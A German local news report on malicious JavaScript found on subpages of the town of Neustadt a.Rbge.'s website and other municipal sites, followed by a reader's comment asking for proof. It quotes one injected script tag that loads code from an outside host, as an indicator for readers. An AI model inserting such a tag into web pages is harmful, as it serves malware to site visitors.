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NEUSTADT. Wer vor kurzem die offizielle Internetseite der Stadt
Neustadt a.Rbge. aufgesucht hat, wird vielleicht alarmiert worden sein -
sofern er einen aktuellen Virenscanner sein eigen nennt.
Es hat sich nämlich schädlicher Code in Form von Javaskript dort eingenistet. Durch eine Quelltextanalyse wird sichtbar, dass die infizierten Seiten durch Codezeilen wie "<script src=http://www.banner82.com/b.js>" auffallen.
Aber nicht alle Seiten der Internetpräsenz sind betroffen. Die "Startseite" ist demnach zur Zeit offensichtlich virenfrei.
Dennoch: etliche Unterseiten sind infiziert und es gibt keine Garantie, dass nicht auch bald die Startseite betroffen sein wird.
Ob es eine Lücke in der eingesetzten Software oder aber in einer mangelnden Serverumgebung handelt, ist noch nicht ganz klar.
Seit einigen Wochen haben auch andere Auftritte von Städten, Gemeinden und Landkreisen mit diesen Problemen zu kämpfen.
Der Hersteller Interlogistics,
der die Software für den Internetauftritt bereitstellt, versichert,
dass ein Update der Software das Problem behebt - sofern man denn einen
Wartungsvertrag der Firma hat.
Den städtischen Verantwortlichen ist der Schadcode bekannt. Warum die
Seiten bis zur Klärung des Problems vorübergehend nicht vom Netz
genommen wird, bleibt allerdings ein Rätsel.
Denn im schlimmsten Falle fängt sich der Besucher einen "Trojaner " ein, so dass der eigene Computer ausspioniert wird oder sogar sensible Daten zerstört werden können.
Übrigens: Gibt man bei Google
"www.banner82.com" ein, so verzeichnet der Suchdienst über 10.000
Treffer alleine in Deutschland. Dass die schädigenden Skripte noch aktiv
auf diesen Seiten vorhanden sind, ist zwar unwahrscheinlich - bedenklich ist es allemal.
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Welche URLs denn genau? Kannst Du diese Meldung überhaupt belegen?